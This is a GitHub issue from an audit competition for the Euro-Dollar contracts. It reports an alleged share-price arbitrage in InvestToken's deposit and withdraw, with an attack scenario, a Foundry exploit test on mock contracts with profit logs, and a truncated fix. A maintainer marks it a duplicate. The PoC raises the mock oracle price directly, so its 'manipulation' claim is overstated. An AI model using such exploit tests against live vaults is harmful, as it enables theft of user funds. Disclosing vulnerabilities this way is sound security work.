hats-finance / Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd

Audit competition repository for Euro-Dollar (0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd)
https://hats.finance
MIT License
3 stars 1 forks source link

Share Price Manipulation Through Rapid Deposit/Withdraw Cycles #97

Open hats-bug-reporter[bot] opened 1 week ago

hats-bug-reporter[bot] commented 1 week ago

Github username: @0xbrett8571 Twitter username: 0xbrett8571 Submission hash (on-chain): 0x8247015e27cccb058c7f0df2f800d056c6e1cd9afa81474cbb7ed0541c94cc85 Severity: medium

Description: Description\ There is a potential arbitrage opportunity in the deposit/withdraw flow due to how asset/share conversion is handled. The issue lies in the price calculation mechanism between deposits and withdrawals.

function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
    // @FOUND - Deposit uses convertToShares() which can be manipulated through rapid flows
    shares = convertToShares(assets); // @FOUND - Direct share conversion without slippage protection allows price manipulation
    usde.burn(msg.sender, assets);
    _mint(receiver, shares);
    emit Deposit(msg.sender, receiver, assets, shares);
}

function withdraw(uint256 assets, address receiver, address owner) public returns (uint256 shares) {
    // @FOUND - Withdraw uses the same convertToShares() calculation, enabling profit through price manipulation
    shares = convertToShares(assets); // @FOUND - Using same conversion rate enables arbitrage through rapid cycling
    if (owner != msg.sender) _spendAllowance(owner, msg.sender, shares);
    _burn(owner, shares);
    usde.mint(receiver, assets);
    emit Withdraw(msg.sender, receiver, owner, assets, shares);
}
  1. The contract uses the same convertToShares() function for both deposit and withdraw calculations
  2. This creates a potential arbitrage window where a user could:

    • Deposit assets when the share price is low
    • Immediately withdraw when share price updates
    • Profit from the price difference between deposit and withdrawal

Because:

  1. Both functions use the same convertToShares() calculation without any spread or slippage protection
  2. The share price can be manipulated through rapid deposit/withdraw cycles
  3. Arbitrage bots can exploit price updates between deposit and withdrawal
  4. Users can extract value from the protocol by timing their transactions around price updates
  5. No cooldown period exists between deposits and withdrawals

The impact is severe as it allows systematic value extraction from the protocol through arbitrage, potentially depleting protocol reserves and harming other users' positions.

Attack Scenario\ A malicious actor can exploit this vulnerability through the following steps:

  1. Initial Setup
    // Initial state
    totalSupplyAssets = 1000 USDE
    totalSupplyShares = 1000 EUI
    // Share price = 1 USDE/EUI
  2. Attack Execution
    
    // Step 1: Attacker deposits when share price is low
    attacker.deposit(1000 USDE);  // Receives 1000 EUI

// Step 2: Share price manipulation through market actions // Price updates to 1.1 USDE/EUI

// Step 3: Immediate withdrawal attacker.withdraw(1100 USDE); // Burns 1000 EUI // Profit: 100 USDE


**Attachments**

1. **Proof of Concept (PoC) File**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {InvestToken} from "../src/InvestToken.sol";
import {IUSDE} from "../src/interfaces/IUSDE.sol";
import {IValidator} from "../src/interfaces/IValidator.sol";
import {IYieldOracle} from "../src/interfaces/IYieldOracle.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract MockValidator is IValidator {
    function isValidStrict(address, address) external pure returns (bool) {
        return true;
    }

    function isValid(address, address) external pure returns (bool) {
        return true;
    }
}

contract MockUSDE is IUSDE {
    mapping(address => uint256) private _balances;

    function mint(address to, uint256 amount) external returns (bool) {
        _balances[to] += amount;
        return true;
    }

    function burn(address from, uint256 amount) external returns (bool) {
        _balances[from] -= amount;
        return true;
    }

    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }
}

contract MockYieldOracle is IYieldOracle {
    uint256 private price = 1e18;

    function updatePrice(uint256 newPrice) external {
        price = newPrice;
    }

    function assetsToShares(uint256 assets) external view returns (uint256) {
        return (assets * 1e18) / price;
    }

    function sharesToAssets(uint256 shares) external view returns (uint256) {
        return (shares * price) / 1e18;
    }
}

contract InvestTokenExploitTest is Test {
    InvestToken public investToken;
    MockUSDE public usde;
    MockValidator public validator;
    MockYieldOracle public oracle;
    address attacker = address(0x1);

    function setUp() public {
        validator = new MockValidator();
        usde = new MockUSDE();
        oracle = new MockYieldOracle();

        InvestToken implementation = new InvestToken(
            IValidator(address(validator)),
            IUSDE(address(usde))
        );

        bytes memory initData = abi.encodeWithSelector(
            InvestToken.initialize.selector,
            "Invest Token",
            "IT",
            address(this),
            IYieldOracle(address(oracle))
        );

        ERC1967Proxy proxy = new ERC1967Proxy(
            address(implementation),
            initData
        );

        investToken = InvestToken(address(proxy));

        vm.label(attacker, "Attacker");
        vm.startPrank(address(usde));
        usde.mint(attacker, 1000 ether);
        vm.stopPrank();
    }

    function testSharePriceManipulation() public {
        console2.log("=== Initial State ===");
        console2.log("Total Supply Assets:", investToken.totalAssets());
        console2.log("Total Supply Shares:", investToken.totalSupply());
        console2.log("Attacker USDE Balance:", usde.balanceOf(attacker));

        vm.startPrank(attacker);
        uint256 depositAmount = 1000 ether;
        uint256 sharesReceived = investToken.deposit(depositAmount, attacker);

        console2.log("\n=== After Deposit ===");
        console2.log("Shares Received:", sharesReceived);
        console2.log("Attacker Share Balance:", investToken.balanceOf(attacker));

        oracle.updatePrice(1.1e18);
        uint256 newSharePrice = investToken.convertToAssets(1 ether);

        console2.log("\n=== After Price Change ===");
        console2.log("New Share Price:", newSharePrice);

        uint256 withdrawAmount = investToken.convertToAssets(sharesReceived);
        uint256 assetsReceived = investToken.redeem(sharesReceived, attacker, attacker);
        vm.stopPrank();

        console2.log("\n=== After Withdrawal ===");
        console2.log("Assets Received:", assetsReceived);
        console2.log("Profit:", assetsReceived - depositAmount);

        assertTrue(assetsReceived > depositAmount, "Exploit failed - no profit generated");
    }
}
Logs:
=== Initial State ===
  Total Supply Assets: 0
  Total Supply Shares: 0
  Attacker USDE Balance: 1000000000000000000000

=== After Deposit ===
  Shares Received: 1000000000000000000000
  Attacker Share Balance: 1000000000000000000000

=== After Price Change ===
  New Share Price: 1100000000000000000

=== After Withdrawal ===
  Assets Received: 1100000000000000000000
  Profit: 100000000000000000000
  1. Initial deposit of 1000 ether

  2. Price manipulation to 1.1x

  3. Withdrawal resulting in 1100 ether

  4. Net profit of 100 ether

  5. Revised Code File (Optional)

    
    function deposit(uint256 assets, address receiver, uint256 minShares) public returns (uint256 shares) {
    shares = convertToShares(assets);
    +   // Add slippage protection
    +   require(shares >= minShares, "Slippage too high");
    usde.burn(msg.sender, assets);
    +   // Add deposit cooldown
    +   lastDepositTime[receiver] = block.timestamp;
    _mint(receiver, shares);
    }

function withdraw(uint256 assets, address receiver, address owner, uint256 maxShares) public returns (uint256 shares) {

AndreiMVP commented 1 day ago

There is an issue with deposit and withdraw both using convertToShares for conversion, but this has been brought up by previous submissions